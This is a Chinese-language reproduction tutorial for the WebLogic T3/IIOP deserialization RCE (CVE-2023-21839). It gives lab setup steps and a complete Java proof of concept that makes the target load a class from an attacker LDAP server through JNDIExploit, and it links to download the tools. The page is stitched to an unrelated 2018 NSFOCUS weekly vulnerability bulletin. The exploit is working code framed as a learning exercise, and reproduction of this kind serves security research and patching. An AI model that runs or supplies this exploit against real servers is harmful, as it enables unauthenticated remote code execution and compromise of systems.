Weblogic远程代码执行漏洞(CVE-2023-21839)复现/保姆级讲解

Posted 南巷油条

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Weblogic远程代码执行漏洞(CVE-2023-21839)复现/保姆级讲解相关的知识,希望对你有一定的参考价值。

目录

引言

产品简介

漏洞描述

影响范围

漏洞复现

    环境搭建

        JDK安装:

        Weblogic安装:

    漏洞利用

漏OracleOracle


引言

        本文内容仅供学习参考,若读者利用本文内容做出违法行为,笔者不提供担保!!!

产品简介

        WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

        Weblogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出Weblogic Protal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些Weblogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

漏洞描述

       由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,未经身份验证的攻击者通过IIOP/T3协议向受影响的服务器发送恶意的请求,最终导致在目标服务器上访问敏感信息并执行任意代码。

        Weblogic T3/IIOP反序列化命令执行漏洞:Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup("xxxxxx");。当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

影响范围

        Oracle WebLogic Server 12.2.1.3.0

        Oracle WebLogic Server 12.2.1.4.0

        Oracle WebLogic Server 14.1.1.0.0

漏洞复现

    环境搭建

        靶机(172.23.a.b):此处使用Weblogic Server12.2.1.3搭建漏洞(点我下载)。搭建此漏洞复现环境时jdk版本需要< jdk 8u191 ,安装Weblogic Server12.2.1.3时所需的最低jdk版本为 jdk 8u131,在这里使用的 jdk 8u131(链接:https://pan.baidu.com/s/13GHPcz-ruW7j4YiRhAqxaw?pwd=1234 提取码:1234),

        攻击机(172.23.c.d):需要使用JNDIExploit.jar工具开启LDAP和WEB服务(链接:https://pan.baidu.com/s/1a6sB5fpqlDnK_bkOjm8wIw?pwd=1234 提取码:1234)。

        JDK安装:

        1.双击下载好的jdk-8u131-windows-x64.exe,启动JDK安装程序,点击下一步,配置安装路径,我这里使用的是默认路径。点击下一步。

         2.待JDK安装好之后,在弹出的界面中安装jre,选择默认安装路径,点击下一步。

         3.至此JDK安装完毕,需要配置环境变量,右击此电脑-->属性-->高级系统设置-->环境变量-->在系统变量中,新建JAVA_HOME,变量值为刚刚安装好的JDK路径。

         4.在Path变量中添加变量值:%JAVA_HOME%\\bin和%JAVA_HOME%\\jre\\bin

         5.新建系统变量CLASSPATH,变量值为:%JAVA_HOME%\\lib;%JAVA_HOME%\\lib\\dt.jar;%JAVA_HOME%\\lib\\tools.jar

        6.至此JDK安装配置完毕。 

        Weblogic安装:

        1.解压下载好的fmw_12.2.1.3.0_wls_Disk1_1of1.zip,得到fmw_12.2.1.3.0_wls.jar,使用解压工具,将fmw_12.2.1.3.0_wls.jar加压,切换到Disk1\\install目录下,右击.ng.cmd使用管理员身份启动安装程序。

        2. 一直点击下一步,致安装概要界面,点击安装

        3.等待安装完成之后,点击下一步,勾选自动启动配置向导,点击完成。 

         4.配置配置向导,待配置向导界面启动,在创建域界面点击下一步,在模板页面勾选所有模板,点击下一步。

        5.在管理员账户界面,创建用户名weblogic,设置密码,点击下一步。

         6.点击下一步,到高级配置界面,勾选所有选项,点击下一步。

        7.点击下一步,节点管理器页面,输入刚创建的用户名和密码。点击下一步。

        8.一直点击下一步,到配置概要界面,点击创建, 

        9.待创建完成, 点击下一步,勾选启动管理服务器,点击完成, 

        10.至此weblogic server服务安装配置完成,并启动。

        11.在攻击机使用浏览器访问http://172.23.a.b:7001/console,出现如下页面。

    漏洞利用

        1.漏洞POC如下:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;


public class poc 
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    
    //iiop
    public static void main(String args[]) throws Exception 
        InitialContext c=getInitialContext("t3://172.23.a.b:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();

        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://172.23.c.d:1389/Basic/Command/calc");
        c.bind("aaa120",f);
        c.lookup("aaa120");

    


        2.在攻击机(需要Java环境,JDK的安装如上述),使用java编辑器新建POC项目,我这里使用IDEA(链接:https://pan.baidu.com/s/1Ux6n4zNjwH4qvX4T6N-Fdg?pwd=1234 提取码:1234)新建项目,将上述poc粘入,

         3.此处需要导入weblogic依赖jar包,在靶机中,切换到weblogic的安装路径下的C:\\Oracle\\Middleware\\Oracle_Home\\wlserver\\server\\lib中,在此处打开cmd,使用如下命令,生成wlfullclient.jar包

java -jar C:\\Oracle\\Middleware\\Oracle_Home\\wlserver\\modules\\com.bea.core.jarbuilder.jar

         4.将此处生成的jar包,复制到攻击机的任意目录下,接着在IDEA中导入jar包。file-->project structure-->Modules-->Dependencies,点击加号,选择第一个,将刚粘贴过来的jar包导入。

         5.点击apply,点击ok,此时,poc以配置完毕,

        6.使用攻击机下载好的JNDIExploit.jar工具,开启LDAP服务和web服务。

         7.在IDEA的POC项目中运行poc代码,让目标加载恶意类进行远程命令执行。

         8.回到靶机可以看到,命令执行成功。

漏洞防护

        目前Oracle已发布补丁修复了上述漏洞,请用户参考官方通告及时下载受影响产品更新补丁,并参照补丁安装包中的readme文件进行安装更新,以保证长期有效的防护。

每周播报Oracle WebLogic Server反序列化远程代码执行漏洞成焦点

 互联网安全威胁态势

1

CVE统计

【每周播报】Oracle WebLogic Server反序列化远程代码执行漏洞成焦点

最近一周CVE公告总数与前期相比有明显增多。

2

威胁信息回顾

标题:WebLogic高危反序列化漏洞CVE-2018-2628 可远程执行代码 检测工具及防护手册

时间:2018-04-18

摘要:近日,WebLogic爆出 反序列化漏洞 ,CVE编号CVE-2018-2628,攻击者可以在未授权的情况下远程执行代码。根据NTI 绿盟威胁情报中心NTI 统计结果,在全球范围内对互联网开放Weblogic服务的资产数量多达19,229,其中归属中国地区的受影响资产数量为1,787。绿盟科技发布预警通告,相关信息如下


●标题:US, UK Detail Networking Protocols Abused by Russian Cyberspies

时间:2018-04-17

摘要:A joint technical alert issued on Monday by the United States and the United Kingdom details how cyberspies believed to be working for the Russian government have abused various networking protocols to breach organizations.


标题:Drupal 8 Updated to Patch Flaw in WYSIWYG Editor

时间:2018-04-19

摘要:Updates released on Wednesday for Drupal 8 patch a moderately critical cross-site scripting (XSS) vulnerability affecting a third-party JavaScript library.


标题:安卓厂商隐藏的事实:安全补丁的更新部署并不真实完整

时间:2018-04-13

摘要:HITB AMS 2018 安全会议 4 月 12 日至 4 月 13 日在荷兰阿姆斯特丹举办。来自德国安全研究实验室的的研究员,在议题分享环节会公开一项让人惊讶的发现——他们逆向分析了数百款安卓手机,发现许多安卓手机厂商并不会向用户提供补丁程序,或者会推迟补丁的发布时间。部分厂商深知会在跳过安全补丁的事实之下,告诉用户“现在的固件已经是最新状态”


标题:Website security firm Sucuri hit by large scale volumetric DDoS attacks

时间:2018-04-13

摘要:The California based website security provider Sucuri has suffered a series of massive DDoS attacks (distributed denial-of-service) causing service outage in West Europe, South America and parts of Eastern United States.


●标题:UPnProxy僵尸网络感染6万多台路由器 实施垃圾邮件、网络钓鱼、DDoS攻击等

时间:2018-04-19

摘要:专家发现一个大规模路由器组成的代理僵尸网络UPnProxy,UPnProxy僵尸网络中有65,000个通过通用即插即用UPnP协议公开到互联网上的路由器,其正在实施的攻击活动包括垃圾邮件和网络钓鱼、点击欺诈、账户接管和信用卡欺诈、DDoS攻击、恶意软件分发以及逃避查杀。


……


(数据来源:绿盟科技 威胁情报与网络安全实验室 收集整理)

漏洞研究

1

漏洞库统计

截止到2018年4月20日,绿盟科技漏洞库已收录总条目达到39430条。本周新增漏洞记录80条,其中高危漏洞数量42条,中危漏洞数量37条,低危漏洞数量1条。

【每周播报】Oracle WebLogic Server反序列化远程代码执行漏洞成焦点
【每周播报】Oracle WebLogic Server反序列化远程代码执行漏洞成焦点

 CMS Made Simple 跨站请求伪造漏洞(CVE-2018-10031)

危险等级:高

cve编号:CVE-2018-10031


● Cacti sanitize_uri函数跨站脚本漏洞(CVE-2018-10060)

危险等级:中

cve编号:CVE-2018-10060


● Windows Optimization Master WoptiHWDetect.SYS拒绝服务漏洞(CVE-2018-9054)

危险等级:高

cve编号:CVE-2018-9054


● Windows Master WoptiHWDetect.SYS拒绝服务漏洞(CVE-2018-9053)

危险等级:高

cve编号:CVE-2018-9053


Adobe Flash Player越界读漏洞(CVE-2018-4934)

危险等级:高

BID:103708

cve编号:CVE-2018-4934


……


(数据来源:绿盟科技安全研究部&产品规则组)  

1

焦点漏洞

◆ 焦点漏洞 

Oracle WebLogic Server反序列化远程代码执行漏洞

◆ NSFOCUS ID

39403

◆ CVE ID

CVE-2018-2628

◆ 受影响版本 

Oracle WebLogic Server 12.2.1.3

Oracle WebLogic Server 12.2.1.2

Oracle WebLogic Server 12.1.3.0

Oracle WebLogic Server 10.3.6.0

◆ 漏洞点评 

WebLogic是一个基于JAVAEE架构的中间件,用于开发、集成、管理大型分布式Web应用的Java应用服务器。根据Oracle官方消息,WebLogic Server在实现上存在一个反序列化漏洞,通过该漏洞,攻击者可以在未授权的情况下远程执行代码。Oracle已经为此发布了一个安全公告(cpuapr2018-3678067)以及相应补丁,请用户及时排查是否受到影响,如受到影响需及时下载更新补丁,升级修复,做好防护。


(数据来源:绿盟科技安全研究部&产品规则组)


点击“阅读原文”查看完整内容


【每周播报】Oracle WebLogic Server反序列化远程代码执行漏洞成焦点

【每周播报】Oracle WebLogic Server反序列化远程代码执行漏洞成焦点



请点击屏幕右上方“…”

关注绿盟科技公众号
NSFOCUS-weixin

↑↑↑长按二维码,下载绿盟云APP


以上是关于Weblogic远程代码执行漏洞(CVE-2023-21839)复现/保姆级讲解的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2023-21839漏洞复现

每周播报Oracle WebLogic Server反序列化远程代码执行漏洞成焦点

Apache Dubbo 存在反序列化漏洞(CVE-2023-23638)

CNVD-C-2019-48814 WebLogic反序列化远程命令执行漏洞

[漏洞预警]Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞

漏洞预警|关于WebLogic Server WLS核心组件 存在反序列化漏洞